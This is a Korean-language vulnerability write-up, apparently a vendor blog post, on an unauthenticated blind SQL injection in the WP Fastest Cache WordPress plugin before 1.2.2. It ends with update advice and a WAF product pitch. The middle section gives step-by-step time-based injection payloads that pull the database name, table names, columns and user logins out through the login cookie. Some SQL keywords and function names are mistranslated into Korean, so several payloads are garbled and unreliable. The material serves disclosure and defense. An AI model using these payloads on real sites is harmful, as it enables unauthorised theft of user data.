WP Fastest Cache는 검색 엔진 결과 페이지, 특히 Google의 웹 사이트 순위를 향상시키는 것을 목표로 페이지 로딩을 가속화하고 방문자 경험을 향상하도록 설계된 WordPress 캐싱 플러그인입니다. WordPress.org에 따르면 이 플러그인은 백만 개 이상의 웹사이트에서 사용됩니다. 문제? 1.2.2 이전의 WP Fastest Cache 버전은 SQL 주입 공격에 취약합니다. 이로 인해 공격자가 인증 없이 사이트의 데이터베이스 콘텐츠를 읽을 수 있어 개인 정보 보호 및 보안 문제가 커질 수 있습니다.
취약점 분석
취약점은 플러그인이 캐싱 시스템을 시작할 때 발생합니다. 특히 wpFastestCache.php
, 캐싱 기능이 있는 곳입니다. 관찰되는 것은 은닉처()
기능에는 “inc/cache.php
" 그리고 Wp가장 빠른CacheCreateCache
그것을 실행하는 클래스 캐시 생성()
기능.
계속해서 추적 중 캐시 생성()
기능하다 inc/cache.php
, 그것은 is_user_admin()
사용자가 관리자인지 확인하는 기능입니다. 더 자세히 알아보기 is_user_admin()
함수에서 이 함수는 "wordpress_logged_in" 키를 일치시키기 위해 쿠키를 반복하고 일치하는 첫 번째 필드를 사용자 이름
변수는 다음과 함께 사용됩니다. $wpdb
웹사이트의 데이터베이스에서 쿼리 작업을 수행하기 위한 전역 변수입니다.
우리는 사용자 이름
SQL 문에서 매개변수로 사용되지만 검사나 필터링 측정값은 적용되지 않습니다. 핵심 SQL 문은 다음과 같습니다.
"SELECT `$wpdb->users`.`ID`, `$wpdb->users`.`user_login`, `$wpdb->usermeta`.`meta_key`, `$wpdb->usermeta`.`meta_value` FROM `$wpdb-> users` INNER JOIN `$wpdb->usermeta` ON `$wpdb->users`.`user_login` = \"$username\" AND `$wpdb->usermeta`.`meta_key` LIKE \"%_user_level\" AND $wpdb->usermeta` .`meta_value` = \"10\" AND `$wpdb->users`.`ID` = `$wpdb->usermeta`.user_id ;"
이는 주로 wp_users와 wp_usermeta 테이블 간의 내부 조인 쿼리를 수행하여 관련 열이 포함된 행을 검색합니다. 코드는 일치하는 항목을 복제합니다. $cookie_value, $사용자 이름
및 내의 문 get_var
이 정보를 페이지에 표시합니다.
지금까지의 가치는 분명했습니다. 사용자 이름
쿠키에서 얻어지며 사용자가 제어할 수 있습니다. 더욱이, 사용자 이름
어떠한 형태의 확인이나 필터링 없이 데이터베이스 실행 시 매개변수로 사용됩니다. 사용자는 위의 SQL문으로 악성코드를 연결하여 사이트에 심각한 피해를 줄 수 있습니다.
취약점 살펴보기
위의 분석을 바탕으로 SQL 문을 연결한 결과, 이 주입 지점은 애플리케이션의 오류 메시지나 쿼리 결과를 직접적으로 반복하지 않으므로 시간 기반의 블라인드 주입이 되는 것으로 나타났습니다. 큰따옴표를 닫은 다음 수면(5)
지연 함수를 사용하면 SQL 문이 성공적으로 실행되었는지 확인할 수 있습니다.
명령문이 성공적으로 연결되면 프로그램 실행이 5초 지연되는 것을 관찰했습니다. 연결하여 실행한 문장은 다음과 같습니다.
데이터베이스 액세스
그런 다음 지연 주입 메커니즘을 사용하여 데이터베이스 이름의 길이를 결정할 수 있습니다. 사용된 진술은 루트" AND if(length(database())=9,sleep(2),1) 및 "1"="1
. 여기, 뿌리"
및 "1"="1
앞과 뒤의 큰따옴표를 닫는 데 사용됩니다. if(식1,식2,식3)
즉, 만약 표현식1
그렇다면 사실이다 만약에()
보고 표현식2
그렇지 않으면 반환됩니다. 표현식3
. 이 경우 데이터베이스의 길이가 길이(데이터베이스())=9
그렇다면 사실이다 만약에()
보고 수면(2)
2초 지연이 발생하고, 그렇지 않으면 1을 반환합니다. 이러한 방식으로 실행하면 현재 데이터베이스 길이를 유추할 수 있습니다.
다음 단계는 데이터베이스 이름의 구성을 결정하는 것입니다. 사용된 진술은 루트" AND if(mid(database(),1,1)="w",sleep(1),1) 및 "1"="1
. 비슷하게, 뿌리"
및 "1"="1
원래 큰따옴표를 닫는 데 사용됩니다. 수면(1)
프로그램이 1초 지연되어 실행되도록 합니다. 함수 mid(데이터베이스(),1,1)="w"
데이터베이스의 첫 번째 문자가 "w"인지 평가합니다. 고용함으로써 무차별 공격 방법을 사용하면 데이터베이스의 각 문자를 추론하여 "WordPress"라는 철자를 사용할 수 있습니다.
데이터베이스 테이블
다음 단계는 데이터베이스 내의 테이블을 결정하는 것입니다. 사용된 진술은 root" AND if(mid((information_schema.tables에서 table_name 선택, 여기서 table_schema = 'wordpress' 제한 1),1,1)="w", sleep(5),1) 및 "1"="1.
이는 'wordpress' 스키마의 첫 번째 테이블을 쿼리하는 것을 의미합니다. 정보_스키마
데이터베이스를 사용하고 중반()
첫 번째 문자를 추출한 다음 다음을 사용하는 함수 만약에()
이 첫 번째 문자가 "w"인지 확인합니다. 이 방법을 사용하면 WordPress 데이터베이스의 다양한 테이블 이름에 무차별 공격을 가할 수 있습니다.
두 번째 문자에 대한 SQL 문 root" AND if(mid((information_schema.tables에서 table_name 선택, 여기서 table_schema = 'wordpress' 제한 1),2,1)="p", sleep(5),1) 및 "1"="1
세 번째 문자에 대한 SQL 문 root" AND if(mid((information_schema.tables에서 table_name 선택, 여기서 table_schema = 'wordpress' 제한 1),3,1)="_", sleep(5),1) 및 "1"="1
… 결국 첫 번째 테이블 이름은 wp_termmeta
무차별 대입이 가능합니다.
마찬가지로 쿼리 결과를 변경하면 정보_스키마
'wordpress'의 테이블에 대한 데이터베이스, 다른 테이블은 무차별 공격을 받을 수 있습니다.
WordPress의 두 번째 테이블의 첫 번째 문자에 대한 SQL 문 root" AND if(mid((information_schema.tables에서 table_name 선택, 여기서 table_schema = 'wordpress' 제한 1,1),1,1)="w", sleep(5),1) 및 "1"="1
WordPress의 두 번째 테이블의 두 번째 문자에 대한 SQL 문 root" AND if(mid((information_schema.tables에서 table_name 선택, 여기서 table_schema = 'wordpress' 제한 1,1),2,1)="p", sleep(5),1) 및 "1"="1
… WordPress의 세 번째 테이블의 첫 번째 문자에 대한 SQL 문 root" AND if(mid((information_schema.tables에서 table_name 선택, 여기서 table_schema = 'wordpress' 제한 2,1),1,1)="w", sleep(5),1) 및 "1"="1
WordPress의 세 번째 테이블의 두 번째 문자에 대한 SQL 문 root" AND if(mid((information_schema.tables에서 table_name 선택, 여기서 table_schema = 'wordpress' 제한 2,1),2,1)="w", sleep(5),1) 및 "1"="1
… 이를 바탕으로 WordPress 데이터베이스의 모든 테이블은 무차별 대입 공격이 가능합니다.
데이터베이스의 모든 테이블을 얻은 후 다음 단계는 다음 명령문을 사용하여 테이블 내의 열을 무차별 대입하는 것입니다. root" AND if(mid((information_schema.columns에서 컬럼 이름 선택, 여기서 table_name = 'wp_users' 제한 1),1,1)="I", sleep(5),1) 및 "1"="1
. 여기에는 첫 번째 열을 쿼리하는 작업이 포함됩니다. wp_users
에서 정보_스키마
데이터베이스를 사용하고 mid() 함수를 사용하여 첫 번째 문자를 추출한 다음 다음을 사용합니다. 만약에()
이 문자가 "I"인지 확인합니다. 마찬가지로, 이 방법을 사용하여 테이블 내의 열 이름을 무차별 공격할 수 있습니다.
테이블의 모든 열 이름을 얻은 후 다음 단계는 다음 명령문을 사용하여 테이블의 열 값을 무차별 대입하는 것입니다. root" AND if(mid((wp_users 제한 1에서 user_login 선택),1,1)="r", sleep(5),1) 및 "1"="1
. 이는 첫 번째 값을 쿼리하는 것을 의미합니다. user_login
필드의 wp_users
테이블을 사용하고 중반()
첫 번째 문자를 추출한 다음 다음을 사용하는 함수 만약에()
이 문자가 "r"인지 확인하려면 위와 유사하게 이 방법을 사용하여 테이블의 각 열 이름 값을 무차별 공격할 수 있습니다.
WordPress 사이트에 SQL 주입 위협이 얼마나 널리 퍼져 있습니까?
SQL 삽입 공격은 WordPress 사이트, 특히 WP Fastest Cache 플러그인의 예를 통해 위에서 살펴본 것처럼 취약성이 있는 플러그인이나 테마를 사용하는 사이트에 만연한 위협입니다.
SQL 주입 공격의 위험을 완화하려면 WordPress 사이트 소유자는 소프트웨어 업데이트 유지, 평판이 좋은 플러그인 및 테마 사용, 보안 플러그인 또는 방화벽 구현, 정기적인 사이트 데이터 백업과 같은 보안 모범 사례를 따라야 합니다.
지금까지 이 가이드에서 강조된 문제를 해결하는 가장 효과적인 방법은 WP Fastest Cache를 최신 버전으로 업그레이드하는 것입니다. 우리의 분석에 따르면 1.2.2 이전의 WP Fastest Cache 버전만 취약한 것으로 나타났습니다. 즉, 플러그인을 업데이트하는 것이 이 문제를 완화하는 가장 효과적인 방법임을 의미합니다.
CDNetworks로 WordPress 사이트 보호
CDNetworks의 WAF 솔루션은 보안 결함이 악용되기 전에 패치하여 버전 1.2.2 이전의 WP Fastest Cache WordPress 플러그인에 존재하는 SQL 주입 위협과 같은 취약점을 제거합니다.
씨디네트웍스 클라우드 WAF 이 취약점의 악용으로부터 보호하고 기타 악의적인 공격 방법을 지속적으로 탐색 및 분석하는 클라우드 기반 솔루션입니다.